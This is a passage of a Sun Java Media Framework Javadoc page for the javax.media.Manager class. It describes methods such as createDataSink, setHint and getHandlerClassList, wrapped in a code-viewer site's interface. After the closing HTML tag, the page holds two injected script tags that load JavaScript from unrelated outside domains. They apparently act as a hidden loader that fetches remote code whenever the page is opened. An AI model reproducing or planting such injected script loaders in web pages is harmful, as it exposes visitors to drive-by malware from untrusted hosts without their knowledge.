📄 manager.html
字号:
be used in place of the original <code>DataSource</code>. Any attempt to use the original <code>DataSource</code> may generate unpredictable results. <br> The resulted cloneable <code>DataSource</code> can be used to generate clones. The clones generated may or may not has the same properties of the original DataSource depending on the implementation. Therefore, they should be checked against the properties required for the application. If the original <code>DataSource</code> is not SourceCloneable and a "proxy" <code>DataSource</code> is resulted, the clones generated from this "proxy" <code>DataSource</code> is of type <code>PushDataSource or PushBufferDataSource</code> depending on the type of the original <code>DataSource</code>. In this case, each clone pushes data at the same rate that the original <code>DataSource</code> is pulled or pushed.<DD><DL><DT><B>Parameters:</B><DD><CODE>source</CODE> - the DataSource to be cloned<DT><B>Returns:</B><DD>a cloneable DataSource for the given source<DT><B>See Also: </B><DD><A HREF="../../javax/media/protocol/SourceCloneable.html"><CODE>SourceCloneable</CODE></A></DL></DD></DL><HR><A NAME="getSystemTimeBase()"><!-- --></A><H3>getSystemTimeBase</H3><PRE>public static <A HREF="../../javax/media/TimeBase.html">TimeBase</A> <B>getSystemTimeBase</B>()</PRE><DL><DD>Get the time-base object for the system.<DD><DL><DT><B>Returns:</B><DD>The system time base.</DL></DD></DL><HR><A NAME="createDataSink(javax.media.protocol.DataSource, javax.media.MediaLocator)"><!-- --></A><H3>createDataSink</H3><PRE>public static <A HREF="../../javax/media/DataSink.html">DataSink</A> <B>createDataSink</B>(<A HREF="../../javax/media/protocol/DataSource.html">DataSource</A> datasource, <A HREF="../../javax/media/MediaLocator.html">MediaLocator</A> destLocator) throws <A HREF="../../javax/media/NoDataSinkException.html">NoDataSinkException</A></PRE><DL><DD>Create a <code>DataSink</code> for the specified input Datasource and destination Medialocator. <p> The algorithm for creating a <CODE>DataSink</CODE> from a <code>MediaLocator and datasource </code> is: <ol> <li>Get the protocol from the <code>MediaLocator</code>. <li>Get a list of <code>MediaHandler</code> classes within the datasink package that support the protocol, using the content package-prefix-list. i.e. search for content-prefix.media.datasink.protocol.Handler <li>For each <code>MediaHandler</code> class in the list: <ol> <li>Instantiate a new <code>MediaHandler</code>. <li>If the <code>MediaHandler</code> is a <code>DataSink</code>, Attach the source to the <code>MediaHandler</code> by calling <code>MediaHandler.setSource</code> <li>If there are no failures, return this <code>DataSink</code>;otherwise try the next <code>MediaHandler</code> in the list. <li>If the <code>MediaHandler</code> is a <code>DataSinkProxy</code>, obtain the content type of the proxy using the getContentType() method. Now obtain a list of <code>MediaHandlers</code> that support the protocol of the Medialocator and the content type returned by the proxy <BR> i.e. look for content-prefix.media.datasink.protocol.content-type.Handler <li>If a <code>MediaHandler</code> is found and it is a DataSink, attach the datasource to it by calling <code>MediaHandler.setSource</code>.<BR> <li>Return the <code>DataSink</code> if there are no errors. <li>If no <code>MediaHandler</code> is found, or if there are any errors,try the next <code>MediaHandler</code in the list. </ol> <li>If no <code>DataSink</code> is found after trying all of the handlers, a <CODE>NoDataSinkException</CODE> is thrown. </ol> </ol><DD><DL><DT><B>Parameters:</B><DD><CODE>datasource</CODE> - The input <CODE>DataSource</CODE> to the DataSink<DD><CODE>destLocator</CODE> - A <CODE>MediaLocator</CODE> that describes the destination of the media to be handled by the datasink<DT><B>Returns:</B><DD>A <CODE>DataSink</CODE> for the media described by the destLocator and that supports the datasource .<DT><B>Throws:</B><DD><A HREF="../../javax/media/NoDataSinkException.html">NoDataSinkException</A> - Thrown if no <CODE>DataSink</CODE> can be found.<DT><B>See Also: </B><DD><A HREF="../../javax/media/NoDataSinkException.html"><CODE>NoDataSinkException</CODE></A></DL></DD></DL><HR><A NAME="getCacheDirectory()"><!-- --></A><H3>getCacheDirectory</H3><PRE>public static java.lang.String <B>getCacheDirectory</B>()</PRE><DL><DD>Retrieve the directory that's used for playback caching.<DD><DL><DT><B>Returns:</B><DD>the directory that's used for playback caching, null if the directory is not specified.</DL></DD></DL><HR><A NAME="setHint(int, java.lang.Object)"><!-- --></A><H3>setHint</H3><PRE>public static void <B>setHint</B>(int hint, java.lang.Object value)</PRE><DL><DD>Specify a hint for the <code>Manager</code> to use.<DD><DL><DT><B>Parameters:</B><DD><CODE>hint</CODE> - The name of the hint to be set.<DD><CODE>value</CODE> - The value the hint is to be set.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Manager.html#MAX_SECURITY"><CODE>MAX_SECURITY</CODE></A>, <A HREF="../../javax/media/Manager.html#CACHING"><CODE>CACHING</CODE></A>, <A HREF="../../javax/media/Manager.html#LIGHTWEIGHT_RENDERER"><CODE>LIGHTWEIGHT_RENDERER</CODE></A>, <A HREF="../../javax/media/Manager.html#PLUGIN_PLAYER"><CODE>PLUGIN_PLAYER</CODE></A></DL></DD></DL><HR><A NAME="getHint(int)"><!-- --></A><H3>getHint</H3><PRE>public static java.lang.Object <B>getHint</B>(int hint)</PRE><DL><DD>Retrieve the value of a hint set.<DD><DL><DT><B>Parameters:</B><DD><CODE>hint</CODE> - The name of the hint.<DT><B>Returns:</B><DD>The value of the hint.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Manager.html#MAX_SECURITY"><CODE>MAX_SECURITY</CODE></A>, <A HREF="../../javax/media/Manager.html#CACHING"><CODE>CACHING</CODE></A>, <A HREF="../../javax/media/Manager.html#LIGHTWEIGHT_RENDERER"><CODE>LIGHTWEIGHT_RENDERER</CODE></A>, <A HREF="../../javax/media/Manager.html#PLUGIN_PLAYER"><CODE>PLUGIN_PLAYER</CODE></A></DL></DD></DL><HR><A NAME="getDataSourceList(java.lang.String)"><!-- --></A><H3>getDataSourceList</H3><PRE>public static java.util.Vector <B>getDataSourceList</B>(java.lang.String protocolName)</PRE><DL><DD>Build a list of <CODE>DataSource</CODE> class names from the protocol prefix-list and a protocol name. <p> The first name in the list will always be: <blockquote><pre> media.protocol.<protocol>DataSource </pre></blockquote> <p> Each additional name looks like: <blockquote><pre> <protocol-prefix>.media.protocol.<protocol>.DataSource </pre></blockquote> for every <CODE><protocol-prefix></CODE> in the protocol-prefix-list.<DD><DL><DT><B>Parameters:</B><DD><CODE>protocol</CODE> - The name of the protocol the source must support.<DT><B>Returns:</B><DD>A vector of strings, where each string is a <CODE>Player</CODE> class-name.</DL></DD></DL><HR><A NAME="getHandlerClassList(java.lang.String)"><!-- --></A><H3>getHandlerClassList</H3><PRE>public static java.util.Vector <B>getHandlerClassList</B>(java.lang.String contentName)</PRE><DL><DD>Build a list of Player <CODE>Handler</CODE> classes from the content-prefix-list and a content name. <p> The first name in the list will always be: <blockquote><pre> media.content.<contentType>.Handler </pre></blockquote> <p> Each additional name looks like: <blockquote><pre> <content-prefix>.media.content.<contentName>.Player </pre></blockquote> for every <CODE><content-prefix></CODE> in the content-prefix-list.<DD><DL><DT><B>Parameters:</B><DD><CODE>contentName</CODE> - The content type to use in the class name.<DT><B>Returns:</B><DD>A vector of strings where each one is a <CODE>Player</CODE> class-name.</DL></DD></DL><HR><A NAME="getProcessorClassList(java.lang.String)"><!-- --></A><H3>getProcessorClassList</H3><PRE>public static java.util.Vector <B>getProcessorClassList</B>(java.lang.String contentName)</PRE><DL><DD>Build a list of Processor <CODE>Handler</CODE> classes from the content-prefix-list and a content name. <p> The first name in the list will always be: <blockquote><pre> media.processor.<contentType>.Handler </pre></blockquote> <p> Each additional name looks like: <blockquote><pre> <content-prefix>.media.processor.<contentName>.Processor </pre></blockquote> for every <CODE><content-prefix></CODE> in the content-prefix-list.<DD><DL><DT><B>Parameters:</B><DD><CODE>contentName</CODE> - The content type to use in the class name.<DT><B>Returns:</B><DD>A vector of strings where each one is a <CODE>Processor</CODE> class-name.</DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3"> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A> </TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A> </TD> </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../javax/media/InternalErrorEvent.html"><B>PREV CLASS</B></A> <A HREF="../../javax/media/MediaEvent.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../index.html" TARGET="_top"><B>FRAMES</B></A> <A HREF="Manager.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY: INNER | <A HREF="#field_summary">FIELD</A> | CONSTR | <A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: <A HREF="#field_detail">FIELD</A> | CONSTR | <A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1"> <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a> <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road, Palo Alto, California, 94303, U.S.A. All Rights Reserved. See the <a href="spec-license.html">Specification License</a> for more details. <br>Sun, Sun Microsystems, and Java are trademarks or registered trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -